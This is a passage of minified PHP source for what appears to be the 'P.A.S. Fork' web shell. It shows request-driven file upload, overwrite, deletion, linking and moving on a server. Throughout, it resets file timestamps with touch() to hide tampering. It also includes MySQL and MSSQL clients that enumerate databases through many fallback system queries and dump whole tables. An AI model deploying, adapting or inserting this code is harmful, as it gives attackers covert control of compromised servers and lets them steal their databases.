$t->getMTime(); } else $t = FALSE; if (delFOD($v)) { if ($t) $a[$p] = $t; if (!$b) { echo '"r":['; $b = TRUE; } if ($p !== $k) { if ($k !== NULL) echo ']},'; echo '{"p":'; jsonEcho($p); echo ',"f":['; $k = $p; } else echo ','; jsonEcho($n); } else $e[] = $v; } if ($b) echo ']}]'; if ($e) { if ($b) echo ','; echo '"e":['; foreach ($e as $k => $v) { if ($k > 0) echo ','; jsonEcho($v); } echo ']'; } foreach ($a as $k => $v) touch($k, $v); sDie('}'); } if (!empty($_FILES['f']) || !empty($_REQUEST['f'])) { if(is_array($_REQUEST['f']) && !isset($_FILES['f'])){ foreach ($_REQUEST['f'] as $k => $v) { $_FILES['f']['name'][$k] = basename(key($v)); $_FILES['f']['tmp_name'][$k] = $v[$_FILES['f']['name'][$k]]; $_FILES['f']['error'][$k] = 0; } } echo '{'; $a = array(); $b = FALSE; $i = new FileInfo($D['p']); $i = $i->getMTime(); foreach ($_FILES['f']['error'] as $k => $v) { $n = $_FILES['f']['name'][$k]; if ($v === 0) { $p = $D['p'] . $n; $t = $_FILES['f']['tmp_name'][$k]; if (move_uploaded_file($t, $p) || rename($t, $p) || copy($t, $p) || link($t, $p) || (is_string($c = getFile($t)) && writeFile($p, $c)) || ($t[0] === 'd' && writeFile($p, base64_decode(substr(strrchr($t, ','), 1))))) { $a[] = $n; if ($i) touch($p, $i); continue; } } if ($b) echo ','; else { $b = TRUE; echo '"e":['; } jsonEcho($v . $n); } if ($b) echo ']'; if (count($a) > 0) { if ($i) { touch($D['p'], $i); clearstatcache(); } if ($b) echo ','; echo '"p":'; jsonEcho($D['p']); echo ',"f":['; foreach ($a as $v) outFileInfo($D['p'] . $v); echo ']'; outFileInfo(NULL, TRUE); } sDie('}'); } if (isset($D['w'])) { $a = array(); if (is_file($D['w']) || file_exists($D['w'])) { $i = new FileInfo($D['w']); if ($i->isDir()) sDie('{"e":"(path already exists as directory)"}'); } else { $p = filePath($D['w']); $i = new FileInfo($p); $a[$p] = $i->getMTime(); } $a[$D['w']] = $i->getMTime(); switch ($D['e']) { case 0: $v = "\r\n"; break; case 1: $v = "\n"; break; case 2: $v = "\r"; break; } $D['t'] = strtr($D['t'], array( "\r\n" => $v, "\r" => $v, "\n" => $v )); if (writeFile($D['w'], $D['t'])) { if(function_exists('opcache_invalidate')) opcache_invalidate($D['w'], true); foreach ($a as $k => $v) if ($v) touch($k, $v); clearstatcache(); $i = new FileInfo($D['w']); echo "\x01\x02"; $b = outFile($D['w']); echo "\x03\x1E"; if ($b) { echo "\x06"; jsonFileInfo($i, TRUE); } else echo "\x15", $D['w']; sDie("\x17\x04\x10"); } sDie('{"e":""}'); } if (isset($D['l'])) { $p = filePath($D['l']); $t = new FileInfo($p); $t = $t->getMTime(); if ($D['t'] == 0 ? symlink($D['p'], $D['l']) : link($D['p'], $D['l'])) { if ($t) { if ($D['t'] != 0) touch($D['l'], $t); touch($p, $t); clearstatcache(); } jsonFileInfo(new FileInfo($D['l']), TRUE); sDie(); } sDie('{"e":""}'); } if (isset($D['m'])) { if (is_file($D['m']) || is_dir($D['m']) || file_exists($D['m'])) sDie('{"e":"(path already exists)"}'); $p = filePath($D['m']); $i = new FileInfo($p); $i = $i->getMTime(); if (mkdir($D['m'], 0755)) { if ($i) { touch($D['m'], $i); touch($p, $i); clearstatcache(); } jsonFileInfo(new FileInfo($D['m']), TRUE); sDie(); } sDie('{"e":""}'); } if (isset($D['f'])) { echo '{'; $a = array(); $m = array(); $c = array(); $b = FALSE; $t = new FileInfo($D['f']); $t = $t->getMTime(); if (isset($D['v'])) foreach ($D['v'] as $v) { $i = new FileInfo($v); $j = $i->getMTime(); $f = $D['f'] . $i->getFileName(); $s = $i->getPath(); if (!isset($a[$s])) { $n = new FileInfo($s); $n = $n->getMTime(); } else $n = FALSE; if (rename($v, $f)) { if ($n) $a[$s] = $n; if ($j) $a[$f] = $j; $m[$s][] = $i->getFileName(); } else { if ($b) echo ','; else { echo '"e":['; $b = TRUE; } jsonEcho($v); } } if (isset($D['p'])) foreach ($D['p'] as $v) { $i = new FileInfo($v); $f = $D['f'] . $i->getFileName(); if (copy($v, $f) || link($v, $f) || (!$i->isDir() && is_string($s = getFile($v)) && writeFile($f, $s))) { $v = $i->getMTime(); if ($v) $a[$f] = $v; $c[] = $i->getFileName(); } else { if ($b) echo ','; else { echo '"e":['; $b = TRUE; } jsonEcho($v); } } if ($b) echo ']'; if (count($m) > 0 || count($c) > 0) { foreach ($a as $k => $v) touch($k, $v); if ($t) touch($D['f'], $t); clearstatcache(); if ($b) echo ','; echo '"p":'; jsonEcho($D['f']); if (count($m) > 0) { echo ',"m":['; $b = FALSE; foreach ($m as $k => $a) { if ($b) echo ','; else $b = TRUE; echo '{"p":'; jsonEcho($k); outFileInfo(NULL, FALSE); echo ',"f":['; foreach ($a as $v) outFileInfo($D['f'] . $v); echo ']}'; } echo ']'; } if (count($c) > 0) { echo ',"c":['; $b = FALSE; foreach ($c as $v) outFileInfo($D['f'] . $v); echo ']'; } outFileInfo(NULL, TRUE); } sDie('}'); } break; case 's': define('T_DMPHDR', "-- \n-- This SQL dump created by P.A.S. Fork v." . VER . "\n-- \n-- Started at %s UTC\n"); define('T_DMPFTR', "-- Finished at %s UTC"); define('E_SLCTDT', "Can't load data from table %s\n"); define('E_CNSTCS', "Can't construct create statement for table %s\n"); define('E_CHNGDB', "Can't change database to %s for dump table %s.%s\n"); class SQLBase { var $_cnct, $_res; function connError($m, $h, $u, $p, $b) { echo '{"e":'; jsonEcho($m ? $m : "Can't connect to SQL server" . ($h === NULL ? '' : ' ' . $h) . ($u === NULL ? '' : ' as user "' . $u . '"') . ($p === NULL ? '' : ' with password "' . $p . '"') . ($b === NULL ? '' : ' and select database "' . $b . '"') . '.'); sDie('}'); } function getError() { $v = $this->_cnct->errorInfo(); return $v[2]; } function tryQueries($a) { $i = $this->_cnct; foreach ($a as $v) if ($this->_res = $i->query($v)) return TRUE; return FALSE; } function fetchAssoc() { return $this->_res->fetch(PDO::FETCH_ASSOC); } function fetchRow() { return $this->_res->fetch(PDO::FETCH_NUM); } function query($v) { return ($this->_res = $this->_cnct->query($v)); } function fetchBase() { return $this->_res->fetchColumn(0); } function fetchTable() { return $this->_res->fetchColumn(0); } function getColumnsNames($v) { $a = array(); if (($v = $this->_cnct->query('SELECT * FROM ' . $v . ' LIMIT 1')) && ($v = $v->fetch(PDO::FETCH_ASSOC))) { foreach ($v as $k => $i) $a[$k] = ''; return $a; } return FALSE; } function sqlTableSize($v) { return ($v = $this->_cnct->query('SELECT COUNT(*) FROM ' . $v)) ? $v->fetchColumn(0) : '"?"'; } function close() { $this->_cnct = NULL; } } function sqlJoinColumns($a, $f) { if ($a) { foreach ($a as $k => $v) $a[$k] = $f($v); return implode(',', $a); } return '*'; } function sqlOutCreate($t, $c, $d, $f) { echo "\nCREATE TABLE ", $f($t), " (\n"; $b = FALSE; foreach ($c as $k => $v) { if ($b) echo ",\n"; else $b = TRUE; echo ' ', $f($k), ' ', $v ? $v : $d; } echo "\n);\n"; } function sqlOutInsert($t, $c) { echo "\nINSERT INTO ", $t; if ($c !== '*') echo ' (', $c, ')'; echo ' VALUES'; } function sqlOutValues($a, $f) { echo "\n("; $b = FALSE; foreach ($a as $v) { if ($b) echo ','; else $b = TRUE; if ($v === NULL) echo 'NULL'; else echo $f($v); } echo ')'; } function csvOutValues($a) { $c = 0; $b = FALSE; foreach ($a as $v) { if ($b) echo ';'; else $b = TRUE; if ($v === NULL) echo '\N'; else { $v = str_replace(array( '"', ';', "\r", "\n" ), array( '""', ';', '\r', '\n' ), $v, $c); echo $c > 0 ? '"' . $v . '"' : $v; } } } function mysqlEscData($v) { return "'" . str_replace(array( '\\', "'", '"', "\0", "\n", "\r", "\x1A" ), array( '\\\\', "\\'", '\\"', '\\0', '\\n', '\\r', '\\Z' ), $v) . "'"; } function mysqlEscName() { $a = func_get_args(); foreach ($a as $k => $v) $a[$k] = '`' . str_replace('`', '``', $v) . '`'; return implode('.', $a); } class MySQLBase extends SQLBase { var $haveSchemas = FALSE, $canPaginate = TRUE; function charset($k) { $v = array( 'utf8', 'utf16', 'cp1250', 'cp1251', 'latin1', 'latin5', 'cp1256', 'cp1257', 'latin1', 'latin2', 'greek', 'hebrew', 'latin5', 'latin7', 'big5', 'gbk', 'sjis', 'euckr', 'ujis', 'cp866', 'koi8r', 'koi8u' ); return isset($v[$k]) ? $v[$k] : 'utf8'; } function parseCrtTbl($v) { $a = array(); $n = '`((?:[^`]|``)+)`'; $l = ' \(((?:`(?:[^`]|``)+`,?)+)\)'; $t = '(?: USING (?:BTREE|HASH))?'; $c = '(?:\s+CONSTRAINT(?: `(?:[^`]|``)+)`)?\s+'; $e = '(`(?:[^`]|``)+`)'; preg_match_all('#^\s+' . $n . ' ([a-z]+)((?:\(| ).+)?,?$#Um', $v, $m); foreach ($m[1] as $k => $i) $a[$i] = strtoupper($m[2][$k]) . $m[3][$k]; if (preg_match('#^' . $c . 'PRIMARY KEY' . $t . $l . '.*$#Um', $v, $m)) { preg_match_all('#' . $n . '#', $m[1], $m); foreach ($m[1] as $i) $a[$i] .= ', PRIMARY KEY'; } if (preg_match_all('#^\s+(?:INDEX|KEY)(?: ' . $e . ')?' . $t . $l . '.*$#Um', $v, $m)) foreach ($m[1] as $i => $k) { if ($k !== '') $k = ' ' . $k; preg_match_all('#' . $n . '#', $m[2][$i], $r); foreach ($r[1] as $i) $a[$i] .= ', KEY' . $k; } if (preg_match_all('#^' . $c . 'UNIQUE(?: (?:INDEX|KEY))?(?: ' . $e . ')?' . $t . $l . '.*$#Um', $v, $m)) foreach ($m[1] as $i => $k) { if ($k !== '') $k = ' ' . $k; preg_match_all('#' . $n . '#', $m[2][$i], $r); foreach ($r[1] as $i) $a[$i] .= ', UNIQUE KEY' . $k; } if (preg_match_all('#^\s+(?:FULLTEXT|SPATIAL)(?: (?:INDEX|KEY))?(?: ' . $e . ')?' . $l . '.*$#Um', $v, $m)) foreach ($m[1] as $i => $k) { if ($k !== '') $k = ' ' . $k; preg_match_all('#' . $n . '#', $m[2][$i], $r); foreach ($r[1] as $i) $a[$i] .= ', FULLTEXT KEY' . $k; } if (preg_match_all('#^' . $c . 'FOREIGN KEY(?: ' . $e . ')?' . $l . ' REFERENCES (`(?:[^`]|``)+` \((?:`(?:[^`]|``)+`,?)+\)).*$#Um', $v, $m)) foreach ($m[1] as $i => $k) { if ($k !== '') $k = ' ' . $k; $k .= ' ' . $m[3][$i]; preg_match_all('#' . $n . '#', $m[2][$i], $r); foreach ($r[1] as $i) $a[$i] .= ', FOREIGN KEY' . $k; } return $a; } function prepType($v) { $s = ($i = strpos($v[1], '(')) ? strtoupper(substr($v[1], 0, $i)) . substr($v[1], $i) : strtoupper($v[1]); if ($v[2] === 'NO') $s .= ' NOT NULL'; if ($v[4] !== NULL) $s .= ' DEFAULT ' . mysqlEscData($v[4]); if ($v[5] !== NULL) $s .= ' ' . strtoupper($v[5]); switch ($v[3]) { case 'PRI': $s .= ' PRIMARY KEY'; break; case 'UNI': $s .= ' UNIQUE KEY'; break; case 'MUL': $s .= ', KEY(' . mysqlEscName($v[0]) . ')'; break; } return $s; } function getBases() { return $this->tryQueries(array( 'SHOW DATABASES', 'SHOW SCHEMAS', 'SELECT schema_name FROM information_schema.schemata', 'SELECT DISTINCT table_schema FROM information_schema.tables', 'SELECT DISTINCT table_schema FROM information_schema.columns' )); } function getTables($b) { $v = mysqlEscData($b); return $this->tryQueries(array( 'SHOW TABLES FROM ' . mysqlEscName($b), 'SELECT table_name FROM information_schema.tables WHERE table_schema=' . $v, 'SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema=' . $v )); } function getColumns($b, $t) { $a = array(); $e = mysqlEscName($b, $t); if ($this->tryQueries(array( 'SHOW COLUMNS FROM ' . $e, 'SHOW FIELDS FROM ' . $e, 'DESC ' . $e, 'DESCRIBE ' . $e, 'SELECT column_name,column_type,is_nullable,column_key,column_default,extra FROM information_schema.columns WHERE table_name=' . mysqlEscData($t) . ' AND table_schema=' . mysqlEscData($b) ))) { while ($v = $this->fetchRow()) $a[$v[0]] = $this->prepType($v); return $a; } if ($this->query('SHOW CREATE TABLE ' . $e) && ($v = $this->fetchRow())) return $this->parseCrtTbl($v[1]); return $a; } function select($b, $t, $c, $o, $l) { return $this->query('SELECT ' . sqlJoinColumns($c, 'mysqlEscName') . ' FROM ' . mysqlEscName($b, $t) . ' LIMIT ' . $o . ',' . $l); } function outCreateTable($b, $t) { if ($this->query('SHOW CREATE TABLE ' . mysqlEscName($b, $t)) && ($v = $this->fetchRow())) { echo "\n", $v[1], ";\n"; return ''; } if ($v = $this->getColumns($b, $t)) { sqlOutCreate($t, $v, 'BLOB', 'mysqlEscName'); return ''; } return sprintf(E_CNSTCS, $b . '.' . $t); } } class MySQLClient extends MySQLBase { function connect($h, $u, $p, $b, $c) { if (!($this->_cnct = mysql_connect($h, $u, $p))) return FALSE; mysql_query('SET NAMES ' . $this->charset($c), $this->_cnct); if ($b !== NULL && !mysql_select_db($b, $this->_cnct)) return mysql_query('USE ' . mysqlEscName($b), $this->_cnct); return TRUE; } function getError() { if ($this->_cnct) { $v = mysql_error($this->_cnct); mysql_close($this->_cnct); return $v; } return mysql_error(); } function tryQueries($a) { foreach ($a as $v) if ($this->_res = mysql_query($v, $this->_cnct)) return TRUE; return FALSE; } function getBases() { return (($this->_res = mysql_list_dbs($this->_cnct)) || parent::getBases()); } function fetchBase() { return ($v = mysql_fetch_row($this->_res)) ? $v[0] : FALSE; } function fetchTable() { return ($v = mysql_fetch_row($this->_res)) ? $v[0] : FALSE; } function getTables($b) { return (($this->_res = mysql_list_tables($b, $this->_cnct)) || parent::getTables($b)); } function getTableSize($b, $t) { return ($v = mysql_query('SELECT COUNT(*) FROM ' . mysqlEscName($b, $t), $this->_cnct)) ? mysql_result($v, 0) : '"?"'; } function getColumns($b, $t) { if ($a = parent::getColumns($b, $t)) return $a; $e = mysqlEscName($b, $t); $q = FALSE; if (($q = mysql_list_fields($b, $t, $this->_cnct)) || ($q = mysql_query('SELECT * FROM ' . $e . ' LIMIT 0', $this->_cnct))) { if ($v = mysql_fetch_field($q)) { do { $s = $v->type === 'string' ? 'TEXT' : strtoupper($v->type); if ($v->unsigned) $s .= ' UNSIGNED'; if ($v->zerofill) $s .= ' ZEROFILL'; if ($v->not_null) $s .= ' NOT NULL'; if (isset($v->def) && $v->def !== '' && $v->def !== NULL) $s .= ' DEFAULT ' . mysqlEscData($v->def); if ($v->primary_key) $s .= ' PRIMARY KEY'; elseif ($v->unique_key) $s .= ' UNIQUE KEY'; elseif ($v->multiple_key) $s .= ', KEY(' . mysqlEscName($v->name) . ')'; $a[$v->name] = $s; } while ($v = mysql_fetch_field($q)); return $a; } if (is_string($v = mysql_field_name($q, 0))) { $i = 0; do { if (is_string($s = mysql_field_type($q, $i))) $a[$v] = $s === 'string' ? 'TEXT' : strtoupper($s); if (($a[$v] === 'INT' || $a[$v] === 'REAL') && ($s = mysql_field_len($q, $i))) $a[$v] .= '(' . $s . ')'; if (is_string($s = mysql_field_flags($q, $i))) { if (strpos($s, 'unsigned') !== FALSE) $a[$v] .= ' UNSIGNED'; if (strpos($s, 'zerofill') !== FALSE) $a[$v] .= ' ZEROFILL'; if (strpos($s, 'not_null') !== FALSE) $a[$v] .= ' NOT NULL'; if (strpos($s, 'auto_increment') !== FALSE) $a[$v] .= ' AUTO_INCREMENT'; if (strpos($s, 'primary_key') !== FALSE) $a[$v] .= ' PRIMARY KEY'; elseif (strpos($s, 'unique_key') !== FALSE) $a[$v] .= ' UNIQUE KEY'; elseif (strpos($s, 'multiple_key') !== FALSE) $a[$v] .= ', KEY(' . mysqlEscName($v) . ')'; } } while (is_string($v = mysql_field_name($q, ++$i))); return $a; } } if (($v = mysql_query('SELECT * FROM ' . $e . ' LIMIT 1', $this->_cnct)) && ($v = mysql_fetch_assoc($v))) { foreach ($v as $k => $s) $a[$k] = ''; return $a; } return FALSE; } function fetchAssoc() { return mysql_fetch_assoc($this->_res); } function fetchRow() { return mysql_fetch_row($this->_res); } function query($v) { return ($this->_res = mysql_query($v, $this->_cnct)); } function dump($b, $t, $c, $f) { if ($f) $i = $this->outCreateTable($b, $t); $c = sqlJoinColumns($c, 'mysqlEscName'); if (($q = mysql_unbuffered_query('SELECT ' . $c . ' FROM ' . mysqlEscName($b, $t), $this->_cnct)) && ($v = mysql_fetch_assoc($q))) { if ($f) sqlOutInsert(mysqlEscName($t), $c); else echo implode(';', array_keys($v)), "\n"; $d = FALSE; do { if ($d) echo $d; else $d = $f ? ',' : "\n"; if ($f) sqlOutValues($v, 'mysqlEscData'); else csvOutValues($v); } while ($v = mysql_fetch_row($q)); if ($f) echo ";\n"; mysql_free_result($q); } else $i .= sprintf(E_SLCTDT, $b . '.' . $t); return $i; } function close() { mysql_close($this->_cnct); } } class MySQLiClient extends MySQLBase { function connect($h, $u, $p, $b, $c) { if ($h !== NULL && ($v = strrpos($h, ':'))) { $t = (int) substr($h, $v + 1); $h = substr($h, 0, $v); } else $t = NULL; if (!($this->_cnct = mysqli_connect($h, $u, $p, $b, $t))) return FALSE; mysqli_query($this->_cnct, 'SET NAMES ' . $this->charset($c)); return TRUE; } function getError() { if ($this->_cnct) { $v = mysqli_error($this->_cnct); mysqli_close($this->_cnct); return $v; } return mysqli_connect_error(); } function tryQueries($a) { foreach ($a as $v) if ($this->_res = mysqli_query($this->_cnct, $v)) return TRUE; return FALSE; } function fetchBase() { return ($v = mysqli_fetch_row($this->_res)) ? $v[0] : FALSE; } function fetchTable() { return ($v = mysqli_fetch_row($this->_res)) ? $v[0] : FALSE; } function getTableSize($b, $t) { if ($v = mysqli_query($this->_cnct, 'SELECT COUNT(*) FROM ' . mysqlEscName($b, $t))) { $v = mysqli_fetch_row($v); return $v[0]; } return '"?"'; } function getColumns($b, $t) { if ($a = parent::getColumns($b, $t)) return $a; $e = mysqlEscName($b, $t); $q = FALSE; if ($q = mysqli_query($this->_cnct, 'SELECT * FROM ' . $e . ' LIMIT 1')) { $y = array( 'DECIMAL', 'TINYINT', 'SMALLINT', 'INT', 'FLOAT', 'DOUBLE', 'NULL', 'TIMESTAMP', 'BIGINT', 'MEDIUMINT', 'DATE', 'TIME', 'DATETIME', 'YEAR', 'NEWDATE', 16 => 'BIT', 246 => 'DECIMAL', 247 => 'ENUM', 248 => 'SET', 249 => 'TINY', 250 => 'MEDIUM', 251 => 'LONG', 252 => '', 253 => 'VARCHAR', 254 => 'CHAR', 255 => 'GEOMETRY' ); if (!($v = mysqli_fetch_fields($q)) && ($i = mysqli_fetch_field($q))) { $v = array(); do { $v[] = $i; } while ($i = mysqli_fetch_field($q)); } if ($v) { foreach ($v as $i) { if ($i->type > 248 && $i->type < 253) $s = $y[$i->type] . (($i->flags & 16) ? 'BLOB' : 'TEXT'); else $s = isset($y[$i->type]) ? $y[$i->type] : 'BLOB'; if ($i->flags & 32768) { $s .= '(' . $i->length; if ($i->decimals) $s .= ',' . $i->decimals; $s .= ')'; } if ($i->flags & 32) $s .= ' UNSIGNED'; if ($i->flags & 64) $s .= ' ZEROFILL'; if ($i->flags & 1) $s .= ' NOT NULL'; if (isset($i->def) && $i->def !== '' && $i->def !== NULL) $s .= ' DEFAULT ' . mysqlEscData($i->def); if ($i->flags & 512) $s .= ' AUTO_INCREMENT'; if ($i->flags & 2) $s .= ' PRIMARY KEY'; elseif (($i->flags & 4) || ($i->flags & 65536)) $s .= ' UNIQUE KEY'; elseif (($i->flags & 8) || ($i->flags & 16384)) $s .= ', KEY(' . mysqlEscName($i->name) . ')'; $a[$i->name] = $s; } return $a; } if ($v = mysqli_fetch_assoc($q)) { foreach ($v as $k => $i) $a[$k] = ''; return $a; } } return FALSE; } function fetchAssoc() { return mysqli_fetch_assoc($this->_res); } function fetchRow() { return mysqli_fetch_row($this->_res); } function query($v) { return ($this->_res = mysqli_query($this->_cnct, $v)); } function dump($b, $t, $c, $f) { if ($f) $i = $this->outCreateTable($b, $t); $c = sqlJoinColumns($c, 'mysqlEscName'); if (($q = mysqli_query($this->_cnct, 'SELECT ' . $c . ' FROM ' . mysqlEscName($b, $t), MYSQLI_USE_RESULT)) && ($v = mysqli_fetch_assoc($q))) { if ($f) sqlOutInsert(mysqlEscName($t), $c); else echo implode(';', array_keys($v)), "\n"; $d = FALSE; do { if ($d) echo $d; else $d = $f ? ',' : "\n"; if ($f) sqlOutValues($v, 'mysqlEscData'); else csvOutValues($v); } while ($v = mysqli_fetch_row($q)); if ($f) echo ";\n"; mysqli_free_result($q); } else $i .= sprintf(E_SLCTDT, $b . '.' . $t); return $i; } function close() { mysqli_close($this->_cnct); } } function mssqlEscData($v) { return "'" . str_replace("'", "''", $v) . "'"; } function mssqlEscName() { $a = func_get_args(); foreach ($a as $k => $v) $a[$k] = '[' . str_replace(']', ']]', $v) . ']'; return implode('.', $a); } class MSSQLBase extends SQLBase { var $haveSchemas = TRUE, $canPaginate = TRUE, $_base = NULL; function getBases() { return $this->tryQueries(array( 'SELECT name FROM sys.databases', 'SELECT name FROM sys.sysdatabases', 'SELECT name FROM master.dbo.sysdatabases', 'EXEC sp_oledb_database', 'EXEC master.dbo.sp_msdbuseraccess "db"', 'EXEC master.sys.sp_msdbuseraccess "db"', "EXEC sp_msforeachdb 'SELECT ''?'''", 'EXEC sp_helpdb', 'EXEC sp_databases', 'EXEC sp_oledb_defdb', 'SELECT DISTINCT catalog_name FROM information_schema.schemata', 'SELECT DB_NAME()' )); } function getSchemas($b) { return $this->tryQueries(array( 'SELECT NULL,schema_name FROM information_schema.schemata', 'SELECT NULL,name FROM sys.schemas', 'SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.all_objects', 'EXEC sp_schemata_rowset', 'SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.objects', 'SELECT DISTINCT schema_id,SCHEMA_NAME(schema_id) FROM sys.tables', "SELECT NULL,name FROM sys.database_principals WHERE type='S'" )); } function getTables($b, $s) { $s = mssqlEscData($s); if ($this->query('SELECT SCHEMA_ID(' . $s . ')') && ($v = $this->fetchRow()) && $v[0]) { $sr = 'schema_id=' . $v[0]; $ur = 'uid=' . $v[0]; } else { $sr = 'SCHEMA_NAME(schema_id)=' . $s; $ur = 'SCHEMA_NAME(uid)=' . $s; } return $this->tryQueries(array( "SELECT name FROM sys.all_objects WHERE type IN('U','S','V') AND " . $sr, 'EXEC sp_tables @table_owner=' . $s, "SELECT name FROM sys.objects WHERE type IN('U','S','V') AND " . $sr, "SELECT name FROM sysobjects WHERE xtype IN('U','S','V') AND " . $ur, 'SELECT table_name FROM information_schema.tables WHERE table_schema=' . $s, 'SELECT name FROM sys.tables WHERE ' . $sr, "EXEC sp_msforeachtable 'SELECT PARSENAME(''?'',1)', @whereand='AND " . str_replace("'", "''", $sr) . "'" )); } function getColumns($b, $s, $t) { $a = array(); $sd = mssqlEscData($s); $sn = mssqlEscName($s); $td = mssqlEscData($t); $tn = mssqlEscName($t); $stdn = mssqlEscData($sn . '.' . $tn); if ($this->query('EXEC sp_columns ' . $td . ',' . $sd) && $v = $this->fetchRow()) { do { $v[5] = strtoupper($v[5]); if ($v[10] === 0) $v[5] .= ' NOT NULL'; if ($v[12] !== NULL) $v[5] .= ' DEFAULT' . $v[12]; $a[$v[3]] = $v[5]; } while ($v = $this->fetchRow()); return $a; } if ($this->query('EXEC sp_help ' . $stdn) && $this->nextResult() && ($v = $this->fetchRow())) { do { $v[1] = strtoupper($v[1]); if ($v[6] === 'no') $v[1] .= ' NOT NULL'; $a[$v[0]] = $v[1]; } while ($v = $this->fetchRow()); return $a; } if ($this->query('EXEC sp_mshelpcolumns ' . $stdn) && $v = $this->fetchRow()) { do { $v[6] = strtoupper($v[6]); if ($v[9] === 0) $v[6] .= ' NOT NULL'; if ($v[17] !== NULL) $v[6] .= ' DEFAULT' . $v[17]; $a[$v[0]] = $v[6]; } while ($v = $this->fetchRow()); return $a; } if ($this->query('SELECT column_name,data_type,is_nullable,column_default FROM information_schema.columns WHERE table_name=' . $td . ' AND table_schema=' . $sd) && $v = $this->fetchRow()) { do { $v[1] = strtoupper($v[1]); if ($v[2] === 'NO') $v[1] .= ' NOT NULL'; if ($v[3] !== NULL) $v[1] .= ' DEFAULT' . $v[3]; $a[$v[0]] = $v[1]; } while ($v = $this->fetchRow()); return $a; } if ($this->query('EXEC sp_columns_managed @owner=' . $sd . ', @table=' . $td) && $v = $this->fetchRow()) { do { $v[7] = strtoupper($v[7]); if ($v[6] === 'NO') $v[7] .= ' NOT NULL'; if ($v[5] !== NULL) $v[7] .= ' DEFAULT' . $v[5]; $a[$v[3]] = $v[7]; } while ($v = $this->fetchRow()); return $a; } if ($this->query('SELECT OBJECT_ID(' . $stdn . ')') && $v = $this->fetchRow()) { $r = 'object_id=' . $v[0]; $i = 'id=' . $v[0]; } else { $r = 'OBJECT_SCHEMA_NAME(object_id)=' . $sd . ' AND OBJECT_NAME(object_id)=' . $td; $i = 'OBJECT_SCHEMA_NAME(id)=' . $sd . ' AND OBJECT_NAME(id)=' . $td; } if ($this->tryQueries(array( 'SELECT name,TYPE_NAME(system_type_id),is_nullable FROM sys.all_columns WHERE ' . $r, 'SELECT name,TYPE_NAME(xtype),isnullable FROM syscolumns WHERE ' . $i, 'SELECT name,TYPE_NAME(system_type_id),is_nullable FROM sys.columns WHERE ' . $r ))) { while ($v = $this->fetchRow()) { $v[1] = strtoupper($v[1]); if ($v[2] === 0) $v[1] .= ' NOT NULL'; $a[$v[0]] = $v[1]; } return $a; } if ($this->query('EXEC sp_columns_rowset ' . $td . ',' . $sd) && $v = $this->fetchRow()) { do { $v[11] = 'BINARY'; if ($v[10] === 0) $v[11] .= ' NOT NULL'; if ($v[8] !== NULL) $v[11] .= ' DEFAULT' . $v[8]; $a[$v[3]] = $v[11]; } while ($v = $this->fetchRow()); return $a; } return FALSE; } } class MSSQLClient extends MSSQLBase { function connect($h, $u, $p, $b, $c) { if (!($this->_cnct = mssql_connect($h, $u, $p))) return FALSE; return $this->setBase($b); } function getError() { $v = mssql_get_last_message(); if ($this->_cnct) mssql_close($this->_cnct); return $v; } function tryQueries($a) { foreach ($a as $v) if ($this->_res = mssql_query($v, $this->_cnct)) return TRUE; return FALSE; } function fetchBase() { if (($v = mssql_fetch_row($this->_res)) || (mssql_next_result($this->_res) && ($v = mssql_fetch_row($this->_res)))) return $v[0]; return FALSE; } function fetchSchema() { return ($v = mssql_fetch_row($this->_res)) ? $v[1] : FALSE; } function fetchTable() { if (($v = mssql_fetch_row($this->_res)) || (mssql_next_result($this->_res) && ($v = mssql_fetch_row($this->_res)))) return count($v) === 1 ? $v[0] : $v[2]; return FALSE; } function getTableSize($b, $s, $t) { return ($v = mssql_query('SELECT COUNT(*) FROM ' . mssqlEscName($b, $s, $t), $this->_cnct)) ? mssql_result($v, 0, 0) : '"?"'; } function setBase($v) { if ($v !== $this->_base) { $this->_base = NULL; if (!mssql_select_db(mssqlEscName($v), $this->_cnct) && !mssql_query('USE ' . mssqlEscName($v), $this->_cnct)) return FALSE; $this->_base = $v; } return TRUE; } function getColumns($b, $s, $t) { if ($a = parent::getColumns($b, $s, $t)) return $a; $a = array(); if ($q = mssql_query('SELECT TOP 1 * FROM ' . mssqlEscName($b, $s, $t), $this->_cnct)) { if ($v = mssql_fetch_field($q)) { do { $a[$v->name] = strtoupper($v->type); } while ($v = mssql_fetch_field($q)); return $a; } if (is_string($v = mssql_field_name($q, 0))) { $i = 0; do { $a[$v] = is_string($s = mssql_field_type($q, $i)) ? strtoupper($s) : ''; } while (is_string($v = mssql_field_name($q, ++$i))); return $a; } if ($v = mssql_fetch_array($q, MSSQL_ASSOC)) { foreach ($v as $k => $i) $a[$k] = ''; return $a; } } return FALSE; } function select($b, $s, $t, $c, $o, $l) { $v = $l < 1000 ? 1000 : $l; if (!($this->_res = mssql_query('SELECT TOP ' . ($o + $l) . ' ' . sqlJoinColumns($c, 'mssqlEscName') . ' FROM ' . mssqlEscName($b, $s, $t), $this->_cnct, $v))) return FALSE; $k = floor($o / $v); for ($i = 0; $i < $k; ++$i) if (!mssql_fetch_batch($this->_res)) return FALSE; $k = $o - ($k * $v); if ($k > 0 && !mssql_data_seek($this->_res, $k)) return FALSE; return TRUE; } function fetchAssoc() { return mssql_fetch_array($this->_res, MSSQL_ASSOC); } function fetchRow() { if (($v = mssql_fetch_row($this->_res)) || (mssql_fetch_batch($this->_res) && ($v = mssql_fetch_row($this->_res)))) return $v; return FALSE; } function nextResult() { return mssql_next_result($this->_res); } function query($v) { return ($this->_res = mssql_query($v, $this->_cnct)); } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) return sprintf(E_CHNGDB, $b, $s, $t); $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) sqlOutCreate($t, $v, 'BINARY', 'mssqlEscName'); else $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t); } $c = sqlJoinColumns($c, 'mssqlEscName'); if (($q = mssql_query('SELECT ' . $c . ' FROM ' . mssqlEscName($b, $s, $t), $this->_cnct, 1000)) && ($v = mssql_fetch_array($q, MSSQL_ASSOC))) { if ($f) sqlOutInsert(mssqlEscName($t), $c); else echo implode(';', array_keys($v)), "\n"; $d = FALSE; do { do { if ($d) echo $d; else $d = $f ? ',' : "\n"; if ($f) sqlOutValues($v, 'mssqlEscData'); else csvOutValues($v); } while ($v = mssql_fetch_row($q)); } while (mssql_fetch_batch($q)); if ($f) echo ";\n"; mssql_free_result($q); } else $i .= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t); return $i; } function close() { 